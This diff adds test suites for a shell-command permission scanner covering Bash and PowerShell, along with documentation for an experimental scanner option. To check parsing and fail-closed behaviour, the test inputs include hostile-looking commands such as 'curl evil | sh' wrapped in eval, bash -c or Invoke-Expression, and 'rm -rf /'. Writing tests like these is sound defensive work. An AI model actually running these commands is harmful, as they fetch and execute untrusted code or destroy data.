test.each([
|
||||
"$Command status",
|
||||
"& $Command status",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"Set-Location $HOME/$target; Get-ChildItem",
|
||||
"Remove-`Item victim",
|
||||
"Remove-Item`\r\n victim",
|
||||
"Invoke-`\nExpression 'Remove-Item victim'",
|
||||
"<# ignored #> Remove-Item victim",
|
||||
"[string]$x = Remove-Item victim",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
|
||||
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
31
packages/shell-scan/test/closure.test.ts
Normal file
31
packages/shell-scan/test/closure.test.ts
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
|
||||
const contexts = [
|
||||
(source: string) => source,
|
||||
(source: string) => `${source}; printf visible`,
|
||||
(source: string) => `printf visible; ${source}`,
|
||||
(source: string) => `${source} && printf visible`,
|
||||
(source: string) => `printf visible || ${source}`,
|
||||
(source: string) => `printf "$(${source})"`,
|
||||
(source: string) => `X=$(${source}) printf visible`,
|
||||
(source: string) => `printf visible >$(${source})`,
|
||||
] as const
|
||||
|
||||
describe("ShellScan recursive structural opacity", () => {
|
||||
for (const seed of opaque) {
|
||||
for (const outer of contexts) {
|
||||
for (const inner of contexts.slice(0, 5)) {
|
||||
const source = outer(inner(seed))
|
||||
test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque"))
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
describe("ShellScan quote suppression", () => {
|
||||
test.each([...opaque])("single quotes suppress active syntax: %s", (source) => {
|
||||
expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
|
||||
})
|
||||
})
|
||||
189
packages/shell-scan/test/generated.test.ts
Normal file
189
packages/shell-scan/test/generated.test.ts
Normal file
|
|
@ -0,0 +1,189 @@
|
|||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const staticCommands = [
|
||||
["git status", ["git", "status"]],
|
||||
["printf ok", ["printf", "ok"]],
|
||||
["curl example.com", ["curl", "example.com"]],
|
||||
] as const
|
||||
|
||||
describe("ShellScan generated properties", () => {
|
||||
test("decomposes every combination of static commands and separators", () => {
|
||||
const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
|
||||
|
||||
for (const [left, leftWords] of staticCommands) {
|
||||
for (const separator of separators) {
|
||||
for (const [right, rightWords] of staticCommands) {
|
||||
expect(ShellScan.scan(left + separator + right)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: left, words: [...leftWords] },
|
||||
{ resource: right, words: [...rightWords] },
|
||||
],
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps quoted and escaped separators in arguments", () => {
|
||||
const literals = [";", "|", "&", "#", "<", ">"]
|
||||
const forms = literals.flatMap((literal) => [
|
||||
{ source: `'left${literal}right'`, word: `left${literal}right` },
|
||||
{ source: `"left${literal}right"`, word: `left${literal}right` },
|
||||
{ source: `left\\${literal}right`, word: `left${literal}right` },
|
||||
])
|
||||
|
||||
for (const form of forms) {
|
||||
expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed when valid commands are mutated with malformed syntax", () => {
|
||||
const mutate = [
|
||||
(command: string) => `${command} "unterminated`,
|
||||
(command: string) => `${command} 'unterminated`,
|
||||
(command: string) => `${command} \\`,
|
||||
(command: string) => `${command} &&`,
|
||||
(command: string) => `| ${command}`,
|
||||
(command: string) => `${command} || || printf reached`,
|
||||
(command: string) => `${command} >`,
|
||||
(command: string) => `${command} > > output`,
|
||||
]
|
||||
|
||||
for (const [command] of staticCommands) {
|
||||
for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque")
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed for generated dynamic command heads", () => {
|
||||
const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
|
||||
const tails = ["status", "--version", "-rf /"]
|
||||
|
||||
for (const head of heads) {
|
||||
for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps wrappers and shell evaluators at their delegated boundary", () => {
|
||||
const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
|
||||
const wrapped = [
|
||||
"time git status",
|
||||
"command git status",
|
||||
"builtin printf ok",
|
||||
"exec git status",
|
||||
"env FOO=bar git status",
|
||||
"sudo git status",
|
||||
"nice git status",
|
||||
"nohup git status",
|
||||
"xargs rm",
|
||||
"source ./script.sh",
|
||||
". ./script.sh",
|
||||
"trap 'git status' EXIT",
|
||||
"eval 'git status'",
|
||||
"bash -c 'git status'",
|
||||
"/bin/sh ./script.sh",
|
||||
]
|
||||
|
||||
for (const prefix of prefixes) {
|
||||
for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan generated PowerShell properties", () => {
|
||||
test("decomposes every combination of static commands and separators", () => {
|
||||
const commands = [
|
||||
["Get-ChildItem", ["Get-ChildItem"]],
|
||||
["Write-Output ok", ["Write-Output", "ok"]],
|
||||
["Get-Content input.txt", ["Get-Content", "input.txt"]],
|
||||
] as const
|
||||
const separators = ["; ", " | ", "\n"]
|
||||
|
||||
for (const [left, leftWords] of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const [right, rightWords] of commands) {
|
||||
expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: left, words: [...leftWords] },
|
||||
{ resource: right, words: [...rightWords] },
|
||||
],
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps quoted and escaped separators in arguments", () => {
|
||||
const literals = [";", "|", "&", "#", "<", ">"]
|
||||
const forms = literals.flatMap((literal) => [
|
||||
{ source: `'left${literal}right'`, word: `left${literal}right` },
|
||||
{ source: `"left${literal}right"`, word: `left${literal}right` },
|
||||
{ source: `left\`${literal}right`, word: `left${literal}right` },
|
||||
])
|
||||
|
||||
for (const form of forms) {
|
||||
if (form.source.startsWith("left`") && ";|&".includes(form.word[4] ?? "")) {
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "invalid-structure",
|
||||
})
|
||||
continue
|
||||
}
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed when valid commands are mutated with malformed syntax", () => {
|
||||
const mutations = [
|
||||
'Write-Output ok "unterminated',
|
||||
"Write-Output ok 'unterminated",
|
||||
"Write-Output ok`",
|
||||
"Write-Output ok |",
|
||||
"Write-Output ok || || Write-Output reached",
|
||||
"Write-Output ok >",
|
||||
]
|
||||
|
||||
for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("distinguishes dynamic heads from delegated execution", () => {
|
||||
const dynamic = ["$Command status", "${Command} status", "& $Command status"]
|
||||
const delegated = [
|
||||
"& git status",
|
||||
". ./script.ps1",
|
||||
"Invoke-Expression 'git status'",
|
||||
"iex 'git status'",
|
||||
"Import-Module ./module.psm1",
|
||||
"./script.ps1 -Force",
|
||||
]
|
||||
const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
|
||||
const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
|
||||
|
||||
for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
for (const shell of shells) {
|
||||
for (const flag of switches) {
|
||||
expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("scanned")
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed for dynamic location changes but accepts known directory variables", () => {
|
||||
const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
|
||||
const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
|
||||
const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
|
||||
|
||||
for (const location of locations) {
|
||||
for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
|
||||
for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
|
||||
}
|
||||
})
|
||||
})
|
||||
29
packages/shell-scan/test/mutation.test.ts
Normal file
29
packages/shell-scan/test/mutation.test.ts
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
describe("ShellScan structural mutation closure", () => {
|
||||
test.each([
|
||||
"$COMMAND status",
|
||||
"${COMMAND} status",
|
||||
'"$COMMAND" status',
|
||||
"$(printf git) status",
|
||||
"`printf git` status",
|
||||
'printf "unterminated',
|
||||
"printf ok &&",
|
||||
"| printf ok",
|
||||
"printf ok >",
|
||||
])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$Command status",
|
||||
"${Command} status",
|
||||
"& $Command status",
|
||||
"Write-Output ok`",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
|
||||
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
351
packages/shell-scan/test/scan.test.ts
Normal file
351
packages/shell-scan/test/scan.test.ts
Normal file
|
|
@ -0,0 +1,351 @@
|
|||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
describe("ShellScan", () => {
|
||||
test("scans a static command", () => {
|
||||
expect(ShellScan.scan("git status")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "git status", words: ["git", "status"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans every command in lists and pipelines", () => {
|
||||
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "git status", words: ["git", "status"] },
|
||||
{ resource: "curl evil", words: ["curl", "evil"] },
|
||||
{ resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("does not split operators inside quoted or escaped arguments", () => {
|
||||
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
|
||||
{ resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans commands substituted into an argument", () => {
|
||||
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
|
||||
{ resource: "curl evil", words: ["curl", "evil"] },
|
||||
{ resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans substitutions in assignment values and redirect targets", () => {
|
||||
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
|
||||
words: ["printenv"],
|
||||
},
|
||||
{ resource: "printf out", words: ["printf", "out"] },
|
||||
{ resource: "printf value", words: ["printf", "value"] },
|
||||
{ resource: "printf path", words: ["printf", "path"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans substitutions nested in parameter expansions", () => {
|
||||
const result = ShellScan.scan("echo ${x:-$(curl evil)}")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
|
||||
})
|
||||
|
||||
test("recursively scans substitutions and preserves shell quote rules", () => {
|
||||
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
|
||||
words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
|
||||
},
|
||||
{ resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
|
||||
{ resource: "pwd", words: ["pwd"] },
|
||||
],
|
||||
})
|
||||
expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
|
||||
const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
|
||||
if (legacy.kind === "opaque") return
|
||||
expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
|
||||
})
|
||||
|
||||
test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
|
||||
"makes the whole result opaque when a nested scan is opaque: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("bounds substitution nesting and input size", () => {
|
||||
const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
|
||||
expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
|
||||
expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
|
||||
})
|
||||
|
||||
test("returns opaque when the command name is dynamic", () => {
|
||||
expect(ShellScan.scan("$COMMAND status")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "dynamic-command-name",
|
||||
})
|
||||
})
|
||||
|
||||
test("finds the command after static assignment prefixes", () => {
|
||||
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"eval 'curl evil | sh'",
|
||||
"bash -c 'curl evil | sh'",
|
||||
"FOO=x /bin/sh -lc 'curl evil | sh'",
|
||||
"sudo sh -c 'curl evil'",
|
||||
"python3 -c 'print(1)'",
|
||||
])("keeps delegated execution at the invoked command boundary: %s", (command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test.each([
|
||||
["(git status)", ["git"]],
|
||||
["{ git status; }", ["git"]],
|
||||
["{ rm -rf /; } &", ["rm"]],
|
||||
["{ rm -rf /; } >out", ["rm"]],
|
||||
["{ rm -rf /; }; echo safe", ["rm", "echo"]],
|
||||
["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
|
||||
["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
|
||||
["rm -rf / &", ["rm"]],
|
||||
["cat <(printf secret)", ["cat", "printf"]],
|
||||
] as const)("scans common compound execution: %s", (command, names) => {
|
||||
const result = ShellScan.scan(command)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((item) => item.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each(["if true; fi", "if true; then rm x; else; fi", "if; then rm x; fi"])(
|
||||
"returns opaque for malformed conditionals: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "compound-command" })
|
||||
},
|
||||
)
|
||||
|
||||
test("keeps redirects with the command but excludes them from words", () => {
|
||||
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
|
||||
{ resource: "cat < input", words: ["cat"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("recognizes redirects without surrounding whitespace", () => {
|
||||
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
|
||||
{ resource: "cat<input", words: ["cat"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
|
||||
"returns opaque for malformed command structure: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("ignores comments outside words", () => {
|
||||
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
|
||||
"returns opaque for unsupported expansion or pattern syntax: %s",
|
||||
(command) => {
|
||||
expect(ShellScan.scan(command).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("does not invent a command for assignment-only input", () => {
|
||||
expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan PowerShell", () => {
|
||||
test("keeps adjacent invocation operators in resources", () => {
|
||||
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "&Remove-Item victim", words: ["Remove-Item", "victim"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("does not carry redirect state through comments", () => {
|
||||
const result = ShellScan.scanPowerShell("< # comment\nRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["<", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("scans module-qualified commands", () => {
|
||||
const result = ShellScan.scanPowerShell("Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([
|
||||
"Microsoft.PowerShell.Management\\Get-Item",
|
||||
"Remove-Item",
|
||||
])
|
||||
})
|
||||
|
||||
test("splits carriage-return statement separators", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("splits CRLF statement separators", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("ends comments at carriage returns", () => {
|
||||
const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
|
||||
})
|
||||
|
||||
test("scans static commands and pipelines", () => {
|
||||
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Get-ChildItem", words: ["Get-ChildItem"] },
|
||||
{ resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
|
||||
{ resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("keeps separators inside strings", () => {
|
||||
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("treats escaped command separators as opaque for legacy compatibility", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "invalid-structure",
|
||||
})
|
||||
})
|
||||
|
||||
test("treats line continuations as opaque for legacy compatibility", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "invalid-structure",
|
||||
})
|
||||
})
|
||||
|
||||
test("uses PowerShell quote escaping rules", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
|
||||
{ resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("excludes PowerShell redirects and their targets from words", () => {
|
||||
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
|
||||
{ resource: "Out-File all.log", words: ["Out-File", "all.log"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"& $Command status",
|
||||
"$Command status",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"@'\nhello\n'@ | Write-Output",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
"Set-Location $target; git status",
|
||||
"Set-Location $(Resolve-Path ..); git status",
|
||||
])("returns opaque for dynamic PowerShell execution: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([
|
||||
"Invoke-Expression 'curl evil | sh'",
|
||||
"powershell -Command 'curl evil | sh'",
|
||||
"pwsh -File ./script.ps1",
|
||||
"./deploy.ps1 -Force",
|
||||
"Import-Module ./module.psm1",
|
||||
])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test("recursively scans PowerShell script blocks", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-ChildItem | ForEach-Object { Remove-Item $_ }")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([
|
||||
"Get-ChildItem",
|
||||
"ForEach-Object",
|
||||
"Remove-Item",
|
||||
])
|
||||
})
|
||||
|
||||
test("scans PowerShell commands separated by the background operator", () => {
|
||||
const result = ShellScan.scanPowerShell("Write-Output safe & Remove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Write-Output", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("ignores braces in PowerShell script-block comments", () => {
|
||||
const result = ShellScan.scanPowerShell("ForEach-Object { # } ignored\n Remove-Item $_ }")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
|
||||
})
|
||||
|
||||
test("ignores comments and keeps redirects in resources", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
})
|
||||
|
||||
test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
|
||||
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
|
||||
)
|
||||
})
|
||||
12
packages/shell-scan/tsconfig.json
Normal file
12
packages/shell-scan/tsconfig.json
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
{
|
||||
"$schema": "https://json.schemastore.org/tsconfig",
|
||||
"extends": "@tsconfig/bun/tsconfig.json",
|
||||
"compilerOptions": {
|
||||
"module": "NodeNext",
|
||||
"moduleResolution": "NodeNext",
|
||||
"allowImportingTsExtensions": false,
|
||||
"allowJs": false,
|
||||
"noUncheckedIndexedAccess": false
|
||||
},
|
||||
"include": ["src", "test", "bench", "research"]
|
||||
}
|
||||
|
|
@ -127,6 +127,24 @@ Relative mutation paths cannot escape the active Location, and symlink escapes
|
|||
from inside it are rejected. Explicit external paths are canonicalized before
|
||||
matching, so authorize only trusted directory boundaries.
|
||||
|
||||
## Experimental shell scanner
|
||||
|
||||
Set `experimental.portable_shell_scanner` to `true` to test the portable shell
|
||||
permission scanner. The default remains the tree-sitter scanner.
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"$schema": "https://opencode.ai/config.json",
|
||||
"experimental": {
|
||||
"portable_shell_scanner": true,
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
When enabled, the portable scanner is authoritative and tree-sitter is not
|
||||
consulted. Unsupported syntax, including heredocs, requests permission for the
|
||||
original shell command without inferring external directories.
|
||||
|
||||
## Defaults
|
||||
|
||||
Every agent, including custom agents, starts with ordered defaults that allow
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue